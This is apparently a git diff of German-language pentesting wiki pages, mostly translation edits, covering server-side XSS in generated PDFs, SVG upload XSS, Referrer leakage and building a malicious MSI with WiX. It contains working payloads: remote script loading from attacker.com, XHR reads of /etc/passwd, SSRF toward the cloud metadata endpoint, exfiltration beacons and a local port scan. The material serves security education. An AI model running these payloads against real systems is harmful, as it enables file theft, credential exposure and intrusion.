><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
@ -1517,8 +1519,8 @@ Weitere Informationen zu dieser Technik finden Sie hier: [**XSLT**](../xslt-serv
### XSS in dynamisch erstellten PDFs
Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot**, der das PDF erstellt, dazu zu **bringen, beliebigen JS-Code auszuführen**.\
Wenn der **PDF-Erstellungs-Bot** eine Art von **HTML** **Tags** findet, wird er diese **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server XSS** zu verursachen.
Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot zu täuschen**, der das PDF erstellt, um **willkürlichen JS-Code auszuführen**.\
Wenn der **PDF-Erstellungs-Bot** eine Art von **HTML** **Tags** findet, wird er diese **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server-XSS** zu verursachen.
{{#ref}}
server-side-xss-dynamic-pdf.md
@ -1533,7 +1535,7 @@ pdf-injection.md
### XSS beim Hochladen von Dateien (svg)
Laden Sie eine Datei wie die folgende als Bild hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```markup
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
@ -1551,13 +1553,13 @@ alert(1);
-----------------------------232181429808--
```
```markup
```html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
```
```markup
```html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">

30
src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
View File

@ -4,11 +4,11 @@
## Server Side XSS (Dynamisches PDF)
Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, kannst du versuchen, den **Bot**, der das PDF erstellt, zu **überlisten**, um **willkürlichen JS-Code** auszuführen.\
Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, kannst du versuchen, den **Bot**, der das PDF erstellt, dazu zu **bringen, beliebigen JS-Code auszuführen**.\
Wenn der **PDF-Ersteller-Bot** eine Art von **HTML** **Tags** findet, wird er sie **interpretieren**, und du kannst dieses Verhalten **ausnutzen**, um eine **Server XSS** zu verursachen.
Bitte beachte, dass die `<script></script>`-Tags nicht immer funktionieren, daher benötigst du eine andere Methode, um JS auszuführen (zum Beispiel durch Ausnutzen von `<img` ).\
Beachte auch, dass du bei einer regulären Ausnutzung in der Lage sein wirst, das erstellte PDF zu **sehen/herunterzuladen**, sodass du alles sehen kannst, was du **über JS** schreibst (zum Beispiel mit `document.write()`). Aber wenn du das erstellte PDF **nicht sehen kannst**, musst du wahrscheinlich **die Informationen extrahieren, indem du Webanfragen an dich sendest** (Blind).
Beachte auch, dass du bei einer regulären Ausnutzung in der Lage sein wirst, das erstellte PDF zu **sehen/herunterzuladen**, sodass du alles sehen kannst, was du **über JS schreibst** (zum Beispiel mit `document.write()`). Aber wenn du das erstellte PDF **nicht sehen kannst**, musst du wahrscheinlich **die Informationen extrahieren, indem du Webanfragen an dich sendest** (Blind).
### Beliebte PDF-Generierung
@ -16,12 +16,12 @@ Beachte auch, dass du bei einer regulären Ausnutzung in der Lage sein wirst, da
- **TCPDF** bietet eine robuste Lösung innerhalb des PHP-Ökosystems für die PDF-Generierung. Es kann Bilder, Grafiken und Verschlüsselung verarbeiten und zeigt seine Vielseitigkeit bei der Erstellung komplexer Dokumente.
- Für diejenigen, die in einer Node.js-Umgebung arbeiten, bietet **PDFKit** eine praktikable Option. Es ermöglicht die Erstellung von PDF-Dokumenten direkt aus HTML und CSS und bietet eine Brücke zwischen Webinhalten und druckbaren Formaten.
- Java-Entwickler könnten **iText** bevorzugen, eine Bibliothek, die nicht nur die PDF-Erstellung erleichtert, sondern auch erweiterte Funktionen wie digitale Signaturen und Formularfüllung unterstützt. Ihr umfassendes Funktionsspektrum macht sie geeignet für die Erstellung sicherer und interaktiver Dokumente.
- **FPDF** ist eine weitere PHP-Bibliothek, die sich durch ihre Einfachheit und Benutzerfreundlichkeit auszeichnet. Sie ist für Entwickler konzipiert, die einen unkomplizierten Ansatz zur PDF-Generierung suchen, ohne umfangreiche Funktionen.
- **FPDF** ist eine weitere PHP-Bibliothek, die sich durch ihre Einfachheit und Benutzerfreundlichkeit auszeichnet. Sie ist für Entwickler konzipiert, die einen unkomplizierten Ansatz zur PDF-Generierung suchen, ohne umfangreiche Funktionen zu benötigen.
## Payloads
### Discovery
```markup
```html
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
@ -35,8 +35,8 @@ Beachte auch, dass du bei einer regulären Ausnutzung in der Lage sein wirst, da
```
### SVG
Jede der vorherigen oder folgenden Payloads kann innerhalb dieser SVG-Payload verwendet werden. Ein iframe, der auf die Burpcollab-Subdomain zugreift, und ein anderer, der auf den Metadaten-Endpunkt zugreift, sind als Beispiele angegeben.
```markup
Jeder der vorherigen oder folgenden Payloads kann innerhalb dieses SVG-Payloads verwendet werden. Ein iframe, der auf die Burpcollab-Subdomain zugreift, und ein weiterer, der auf den Metadaten-Endpunkt zugreift, sind als Beispiele angegeben.
```html
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
@ -63,7 +63,7 @@ alert(1);
Sie können viele **andere SVG-Payloads** in [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) finden.
### Pfadoffenlegung
```markup
```html
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing -->
### Lade ein externes Skript
Die beste konforme Methode, um diese Schwachstelle auszunutzen, besteht darin, die Schwachstelle zu missbrauchen, um den Bot ein Skript laden zu lassen, das du lokal kontrollierst. Dann wirst du in der Lage sein, die Payload lokal zu ändern und den Bot sie jedes Mal mit demselben Code laden zu lassen.
```markup
```html
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
@ -81,8 +81,8 @@ Die beste konforme Methode, um diese Schwachstelle auszunutzen, besteht darin, d
> [!WARNING]
> Ändern Sie `file:///etc/passwd` in `http://169.254.169.254/latest/user-data`, um beispielsweise **zu versuchen, auf eine externe Webseite (SSRF)** zuzugreifen.
>
> Wenn SSRF erlaubt ist, Sie jedoch **keinen Zugriff** auf eine interessante Domain oder IP haben, [prüfen Sie diese Seite auf potenzielle Umgehungen](../ssrf-server-side-request-forgery/url-format-bypass.md).
```markup
> Wenn SSRF erlaubt ist, Sie jedoch **keinen Zugriff** auf eine interessante Domain oder IP haben, [prüfen Sie diese Seite auf mögliche Umgehungen](../ssrf-server-side-request-forgery/url-format-bypass.md).
```html
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send();
</script>
```
```markup
```html
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
@ -100,7 +100,7 @@ xhzeem.send();
</script>
```
```markup
```html
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
@ -112,11 +112,11 @@ xhzeem.send();
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
```
```markup
```html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### Bot-Verzögerung
```markup
```html
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
@ -129,7 +129,7 @@ time += 500;
<img src="https://attacker.com/delay">
```
### Port-Scan
```markup
```html
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {

6
src/todo/interesting-http.md
View File

@ -6,11 +6,11 @@ Referrer ist der Header, der von Browsern verwendet wird, um anzugeben, welche d
## Sensible Informationen geleakt
Wenn sich zu irgendeinem Zeitpunkt innerhalb einer Webseite sensible Informationen in den GET-Anforderungsparametern befinden, wenn die Seite Links zu externen Quellen enthält oder ein Angreifer in der Lage ist, den Benutzer dazu zu bringen, eine von ihm kontrollierte URL zu besuchen (Social Engineering). Es könnte möglich sein, die sensiblen Informationen aus der letzten GET-Anforderung zu exfiltrieren.
Wenn sich zu irgendeinem Zeitpunkt innerhalb einer Webseite sensible Informationen in den GET-Anforderungsparametern befinden, und die Seite Links zu externen Quellen enthält oder ein Angreifer in der Lage ist, den Benutzer dazu zu bringen, eine von ihm kontrollierte URL zu besuchen (Social Engineering), könnte es möglich sein, die sensiblen Informationen aus der letzten GET-Anforderung zu exfiltrieren.
## Minderung
Sie können den Browser eine **Referrer-Policy** befolgen lassen, die **verhindern** könnte, dass sensible Informationen an andere Webanwendungen gesendet werden:
Sie können den Browser dazu bringen, eine **Referrer-Policy** zu befolgen, die **verhindern** könnte, dass sensible Informationen an andere Webanwendungen gesendet werden:
```
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
@ -24,7 +24,7 @@ Referrer-Policy: unsafe-url
## Gegenmaßnahmen
Sie können diese Regel mit einem HTML-Meta-Tag überschreiben (der Angreifer muss eine HTML-Injection ausnutzen):
```markup
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```

8
src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
View File

@ -7,7 +7,7 @@ Die Erstellung des MSI-Installers erfolgt mit wixtools, insbesondere wird [wixto
Für ein umfassendes Verständnis der Beispiele zur Verwendung von wix MSI ist es ratsam, [diese Seite](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) zu konsultieren. Hier finden Sie verschiedene Beispiele, die die Verwendung von wix MSI demonstrieren.
Ziel ist es, ein MSI zu generieren, das die lnk-Datei ausführt. Um dies zu erreichen, könnte der folgende XML-Code verwendet werden ([xml von hier](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
```markup
```html
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
@ -40,11 +40,11 @@ fail_here
```
Es ist wichtig zu beachten, dass das Package-Element Attribute wie InstallerVersion und Compressed enthält, die die Version des Installers angeben und angeben, ob das Paket komprimiert ist oder nicht.
Der Erstellungsprozess umfasst die Verwendung von candle.exe, einem Tool von wixtools, um ein wixobject aus msi.xml zu generieren. Der folgende Befehl sollte ausgeführt werden:
Der Erstellungsprozess umfasst die Nutzung von candle.exe, einem Tool von wixtools, um ein wixobject aus msi.xml zu generieren. Der folgende Befehl sollte ausgeführt werden:
```
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
```
Zusätzlich ist es erwähnenswert, dass im Beitrag ein Bild bereitgestellt wird, das den Befehl und dessen Ausgabe zeigt. Sie können es zur visuellen Anleitung heranziehen.
Zusätzlich ist es erwähnenswert, dass im Beitrag ein Bild bereitgestellt wird, das den Befehl und seine Ausgabe zeigt. Sie können es zur visuellen Anleitung heranziehen.
Darüber hinaus wird light.exe, ein weiteres Tool von wixtools, verwendet, um die MSI-Datei aus dem wixobject zu erstellen. Der auszuführende Befehl lautet wie folgt:
```
@ -52,7 +52,7 @@ light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
```
Ähnlich wie beim vorherigen Befehl ist ein Bild im Beitrag enthalten, das den Befehl und seine Ausgabe veranschaulicht.
Bitte beachten Sie, dass diese Zusammenfassung wertvolle Informationen bieten soll, es jedoch empfohlen wird, sich auf den ursprünglichen Beitrag zu beziehen, um umfassendere Details und genaue Anweisungen zu erhalten.
Bitte beachten Sie, dass diese Zusammenfassung wertvolle Informationen bieten soll, es jedoch empfohlen wird, auf den ursprünglichen Beitrag zu verweisen, um umfassendere Details und genaue Anweisungen zu erhalten.
## References